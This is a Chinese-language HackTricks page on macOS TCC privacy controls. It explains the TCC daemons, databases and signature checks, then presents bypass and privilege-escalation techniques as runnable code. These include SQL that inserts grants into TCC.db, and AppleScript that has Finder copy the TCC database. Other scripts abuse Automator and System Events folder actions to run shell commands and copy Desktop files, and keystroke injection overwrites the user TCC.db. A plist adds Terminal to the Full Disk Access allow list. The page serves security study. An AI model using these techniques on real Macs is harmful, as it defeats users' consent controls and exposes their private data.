macOS TCC
Reading time: 23 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
TCC (透明性、同意和控制) 是一个安全协议,专注于规范应用程序权限。它的主要作用是保护敏感功能,如 位置服务、联系人、照片、麦克风、相机、辅助功能和完整磁盘访问。通过在授予应用程序访问这些元素之前要求明确的用户同意,TCC 增强了隐私和用户对其数据的控制。
当应用程序请求访问受保护的功能时,用户会遇到 TCC。这通过一个提示可见,允许用户 批准或拒绝访问。此外,TCC 还支持直接用户操作,例如 将文件拖放到应用程序中,以授予对特定文件的访问,确保应用程序仅访问明确允许的内容。
TCC 由位于 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
的 守护进程 处理,并在 /System/Library/LaunchDaemons/com.apple.tccd.system.plist
中配置(注册 mach 服务 com.apple.tccd.system
)。
每个登录用户都有一个 用户模式 tccd 在运行,定义在 /System/Library/LaunchAgents/com.apple.tccd.plist
中,注册 mach 服务 com.apple.tccd
和 com.apple.usernotifications.delegate.com.apple.tccd
。
在这里你可以看到 tccd 作为系统和用户运行:
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
权限是从父应用程序继承的,权限是根据 Bundle ID 和 Developer ID 跟踪的。
TCC 数据库
允许/拒绝的设置存储在一些 TCC 数据库中:
- 系统范围的数据库在
/Library/Application Support/com.apple.TCC/TCC.db
。 - 该数据库是SIP 保护的,因此只有 SIP 绕过可以写入。
- 用户 TCC 数据库
$HOME/Library/Application Support/com.apple.TCC/TCC.db
用于每个用户的偏好设置。 - 该数据库受到保护,因此只有具有高 TCC 权限的进程(如完全磁盘访问)可以写入(但它不受 SIP 保护)。
warning
之前的数据库也受到 TCC 保护以进行读取访问。因此,除非是来自 TCC 特权进程,否则您无法读取常规用户 TCC 数据库。
但是,请记住,具有这些高权限的进程(如 FDA 或 kTCCServiceEndpointSecurityClient
)将能够写入用户的 TCC 数据库。
- 还有一个第三个 TCC 数据库在
/var/db/locationd/clients.plist
中,指示允许访问位置服务的客户端。 - SIP 保护文件
/Users/carlospolop/Downloads/REG.db
(也受到 TCC 的读取访问保护)包含所有有效 TCC 数据库的位置。 - SIP 保护文件
/Users/carlospolop/Downloads/MDMOverrides.plist
(也受到 TCC 的读取访问保护)包含更多 TCC 授予的权限。 - SIP 保护文件
/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist
(任何人都可以读取)是需要 TCC 例外的应用程序的允许列表。
tip
iOS 中的 TCC 数据库在 /private/var/mobile/Library/TCC/TCC.db
。
note
通知中心 UI 可以对系统 TCC 数据库进行更改:
codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC
但是,用户可以使用 tccutil
命令行工具删除或查询规则。
查询数据库
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]
# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
tip
检查两个数据库可以查看应用程序允许、禁止或没有的权限(它会请求权限)。
service
是 TCC 权限 的字符串表示client
是具有权限的 bundle ID 或 二进制文件路径client_type
指示它是 Bundle Identifier(0) 还是绝对路径(1)
如果是绝对路径,如何执行
只需执行 launctl load you_bin.plist
,使用如下 plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>
<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>
<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>
<!-- Run at load -->
<key>RunAtLoad</key>
<true/>
<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>
<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
auth_value
可以有不同的值:denied(0)、unknown(1)、allowed(2) 或 limited(3)。auth_reason
可以取以下值:Error(1)、User Consent(2)、User Set(3)、System Set(4)、Service Policy(5)、MDM Policy(6)、Override Policy(7)、Missing usage string(8)、Prompt Timeout(9)、Preflight Unknown(10)、Entitled(11)、App Type Policy(12)- csreq 字段用于指示如何验证要执行的二进制文件并授予 TCC 权限:
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin
# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
- 有关表格的其他字段的更多信息,请查看这篇博客文章。
您还可以在System Preferences --> Security & Privacy --> Privacy --> Files and Folders
中检查已授予的权限。
tip
用户 可以 使用 tccutil
删除或查询规则。
重置 TCC 权限
# You can reset all the permissions given to an application with
tccutil reset All app.some.id
# Reset the permissions granted to all apps
tccutil reset All
TCC 签名检查
TCC 数据库存储应用程序的 Bundle ID,但它还 存储 信息,以 确保 请求使用权限的应用程序是正确的。
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq
# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
warning
因此,使用相同名称和包 ID 的其他应用程序将无法访问授予其他应用程序的权限。
权限与 TCC 权限
应用程序 不仅需要 请求 并且已经 获得访问 某些资源的权限,它们还需要 拥有相关的权限。
例如 Telegram 拥有权限 com.apple.security.device.camera
来请求 访问相机。一个 没有 这个 权限的应用 将 无法 访问相机(用户甚至不会被询问权限)。
然而,对于应用程序 访问 某些用户文件夹,如 ~/Desktop
、~/Downloads
和 ~/Documents
,它们 不需要 任何特定的 权限。系统将透明地处理访问并 根据需要提示用户。
苹果的应用程序 不会生成提示。它们在其 权限 列表中包含 预先授予的权利,这意味着它们 永远不会生成弹出窗口,也 不会出现在任何 TCC 数据库 中。例如:
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>
这将避免日历请求用户访问提醒、日历和地址簿。
tip
除了一些关于权限的官方文档外,还可以找到关于权限的非官方有趣信息在 https://newosxbook.com/ent.jl
一些 TCC 权限包括:kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 没有公开的列表定义所有权限,但您可以查看这个 已知权限列表。
敏感未保护位置
- $HOME (本身)
- $HOME/.ssh, $HOME/.aws, 等等
- /tmp
用户意图 / com.apple.macl
如前所述,可以通过将文件拖放到应用程序上来授予应用程序对文件的访问权限。此访问权限不会在任何 TCC 数据库中指定,而是作为文件的扩展属性。此属性将存储允许的应用程序的 UUID:
xattr Desktop/private.txt
com.apple.macl
# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3
# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
note
有趣的是,com.apple.macl
属性是由 Sandbox 管理的,而不是 tccd。
还要注意,如果您将允许计算机上某个应用的 UUID 的文件移动到另一台计算机,由于同一应用将具有不同的 UID,它将无法授予该应用访问权限。
扩展属性 com.apple.macl
无法像其他扩展属性那样被清除,因为它是 受 SIP 保护的。然而,正如 在这篇文章中解释的,可以通过 压缩 文件、删除 它并 解压 来禁用它。
TCC 权限提升与绕过
插入到 TCC
如果您在某个时刻成功获得 TCC 数据库的写入访问权限,可以使用以下内容添加条目(删除注释):
插入到 TCC 示例
INSERT INTO access (
service,
client,
client_type,
auth_value,
auth_reason,
auth_version,
csreq,
policy_id,
indirect_object_identifier_type,
indirect_object_identifier,
indirect_object_code_identity,
flags,
last_modified,
pid,
pid_version,
boot_uuid,
last_reminded
) VALUES (
'kTCCServiceSystemPolicyDesktopFolder', -- service
'com.googlecode.iterm2', -- client
0, -- client_type (0 - bundle id)
2, -- auth_value (2 - allowed)
3, -- auth_reason (3 - "User Set")
1, -- auth_version (always 1)
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
NULL, -- policy_id
NULL, -- indirect_object_identifier_type
'UNUSED', -- indirect_object_identifier - default value
NULL, -- indirect_object_code_identity
0, -- flags
strftime('%s', 'now'), -- last_modified with default current timestamp
NULL, -- assuming pid is an integer and optional
NULL, -- assuming pid_version is an integer and optional
'UNUSED', -- default value for boot_uuid
strftime('%s', 'now') -- last_reminded with default current timestamp
);
TCC Payloads
如果你成功进入了一个具有某些 TCC 权限的应用程序,请查看以下页面以获取 TCC 负载以进行滥用:
Apple Events
了解 Apple Events 的内容:
Automation (Finder) to FDA*
Automation 权限的 TCC 名称是:kTCCServiceAppleEvents
这个特定的 TCC 权限还指示了 可以在 TCC 数据库中管理的应用程序(因此权限并不允许管理所有内容)。
Finder 是一个 始终具有 FDA 的应用程序(即使它在 UI 中不显示),因此如果你对它拥有 Automation 权限,你可以滥用其权限以 执行某些操作。
在这种情况下,你的应用程序需要对 com.apple.Finder
拥有权限 kTCCServiceAppleEvents
。
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD
您可以利用此权限编写自己的用户 TCC 数据库。
warning
拥有此权限后,您将能够请求 Finder 访问 TCC 限制的文件夹并获取文件,但据我所知,您无法使 Finder 执行任意代码以完全滥用其 FDA 访问权限。
因此,您将无法滥用完整的 FDA 能力。
这是获取 Finder 自动化权限的 TCC 提示:
caution
请注意,由于 Automator 应用具有 TCC 权限 kTCCServiceAppleEvents
,它可以控制任何应用,如 Finder。因此,拥有控制 Automator 的权限后,您也可以使用如下代码控制 Finder:
在 Automator 中获取 shell
osascript<<EOD
set theScript to "touch /tmp/something"
tell application "Automator"
set actionID to Automator action id "com.apple.RunShellScript"
tell (make new workflow)
add actionID to it
tell last Automator action
set value of setting "inputMethod" to 1
set value of setting "COMMAND_STRING" to theScript
end tell
execute it
end tell
activate
end tell
EOD
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
同样发生在 Script Editor 应用程序,它可以控制 Finder,但使用 AppleScript 你无法强制它执行脚本。
自动化 (SE) 到某些 TCC
系统事件可以创建文件夹操作,而文件夹操作可以访问一些 TCC 文件夹(桌面、文档和下载),因此可以使用如下脚本来滥用这种行为:
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
自动化 (SE) + 可访问性 (kTCCServicePostEvent
|kTCCServiceAccessibility
) 到 FDA*
在 System Events
上的自动化 + 可访问性 (kTCCServicePostEvent
) 允许向进程发送 按键。通过这种方式,您可以滥用 Finder 来更改用户的 TCC.db 或为任意应用程序提供 FDA(尽管可能会提示输入密码)。
Finder 覆盖用户 TCC.db 示例:
-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate
-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1
-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1
-- Resolve $HOME environment variable
set homePath to system attribute "HOME"
-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1
-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1
-- Paste the file
keystroke "v" using {command down}
end tell
EOF
kTCCServiceAccessibility
到 FDA*
查看此页面以获取一些 滥用可访问性权限的有效载荷 以提升权限到 FDA* 或运行键盘记录器,例如。
端点安全客户端到 FDA
如果你有 kTCCServiceEndpointSecurityClient
,你就拥有 FDA。结束。
系统策略 SysAdmin 文件到 FDA
kTCCServiceSystemPolicySysAdminFiles
允许 更改 用户的 NFSHomeDirectory
属性,这会更改他的主文件夹,从而允许 绕过 TCC。
用户 TCC 数据库到 FDA
获得 用户 TCC 数据库的 写权限 你 **不能** 授予自己 FDA
权限,只有系统数据库中的用户可以授予。
但你可以 授予 自己 Finder 的自动化权限
,并滥用之前的技术提升到 FDA*。
FDA 到 TCC 权限
完全磁盘访问 在 TCC 中的名称是 kTCCServiceSystemPolicyAllFiles
我认为这不是真正的权限提升,但以防你觉得有用:如果你控制一个具有 FDA 的程序,你可以 修改用户的 TCC 数据库并授予自己任何访问权限。这可以作为一种持久性技术,以防你可能失去 FDA 权限。
SIP 绕过到 TCC 绕过
系统 TCC 数据库 受到 SIP 保护,这就是为什么只有具有 指示的权限 的进程才能修改它。因此,如果攻击者找到一个 SIP 绕过 通过一个 文件(能够修改一个受 SIP 限制的文件),他将能够:
- 移除 TCC 数据库的保护,并授予自己所有 TCC 权限。他可以滥用这些文件中的任何一个,例如:
- TCC 系统数据库
- REG.db
- MDMOverrides.plist
然而,还有另一种选择可以滥用这个 SIP 绕过来绕过 TCC,文件 /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist
是一个需要 TCC 例外的应用程序的允许列表。因此,如果攻击者可以 移除此文件的 SIP 保护 并添加他 自己的应用程序,该应用程序将能够绕过 TCC。
例如添加终端:
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier "com.apple.Terminal" and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>
TCC 绕过
参考文献
- https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive
- https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
- https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。